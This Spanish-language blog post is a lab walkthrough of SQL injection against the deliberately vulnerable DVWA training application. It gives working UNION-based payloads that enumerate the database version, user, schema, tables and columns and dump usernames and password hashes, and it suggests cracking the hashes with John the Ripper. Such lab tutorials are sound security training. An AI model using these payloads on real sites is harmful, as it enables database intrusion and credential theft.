martes, 6 de octubre de 2015

SQL Injection

SQL INJECTION


Sistema operativo para la práctica:
https://mondragon.box.com/dvwa7z


Abrimos el archivo descargado con la virtual box, la iniciamos y empezamos



Ahora, escribimos esta ip en el navegador y obtenemos el siguiente resultado:




usuario: admin
contraseña: password
y damos click en login


Bien, después de realizar la autenticación, obtendremos lo siguiente




Posteriormente a la explicación, configuramos la seguridad del servidor en modo débil para empezar a hacer nuestras pruebas




y damos click en submit.


Posteriormente seleccionamos "SQL Injection" en el panel de la izquierda

Inyecciones básicas
Vamos a empezar simulando un consulta, para esto, escribimos el número 1 en el campo en blanco (input) y damos click en submit. También lo intentaremos con el número 2 y el número 3, sin embargo se puede seguir intentando hasta que no obtengamos mas resultados…


CON EL 1




CON EL 2




CON EL 3



Notemos que al darle click en View Source obtenemos la consulta de lo que estamos trayendo a pantalla



Bueno, ahora haremos otro tipo de consulta:
tipeamos  %' or '0'='0 y obtendremos la consulta de todos los registro de la tabla



Ahora vamos a obtener la versión de la base de datos con la siguiente línea
%' or 0=0 union select null, version() # y damos click en submit


Como se puede observar, la versión de la base de datos que estamos utilizando es la 5.5.44

Ahora vamos a averiguar por medio de inyección el nombre de usuario de la base de datos con la siguiente línea


%' or 0=0 union select null, user() # y damos click en submit con lo que obtendremos lo siguiente




nombre de usuario de la base de datos que ejecuta o realiza las interacciones con ésta: dvwa.

De la misma forma obtendremos el nombre la base de datos con la línea
%' or 0=0 union select null, database() # y click en submit




Nombre de la base de datos = dvwa


De la misma forma obtendremos los datos de:

Los esquemas de las tablas de usuario(Los esquemas de usuario tienen la información general de la base de datos)
línea
%' and 1=0 union select null, table_name from information_schema.tables #

Obtener tablas de determinado usuario encontrado anteriormente
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
donde user es el nombre del usuario



Ahora vamos a mostrar los campos que tiene la tabla que deseamos, que en este caso es la tabla resaltada anteriormente (tabla users)
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
donde users es el nombre de la tabla



Ahora vamos a visualizar la información que tiene cada usuario en su registro en la tabla users y esquema information_schema


línea: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #


donde first_name, last_name, user, password son los campos hallados anteriormente y user es el nombre de la tabla.




Ya tenemos las credenciales, sin embargo la contraseña esta cifrada, por lo que debemos usar algo como Jhon the ripper para encontrarla. En caso de querer hacerlo seguir este link
http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson6/











No hay comentarios:

Publicar un comentario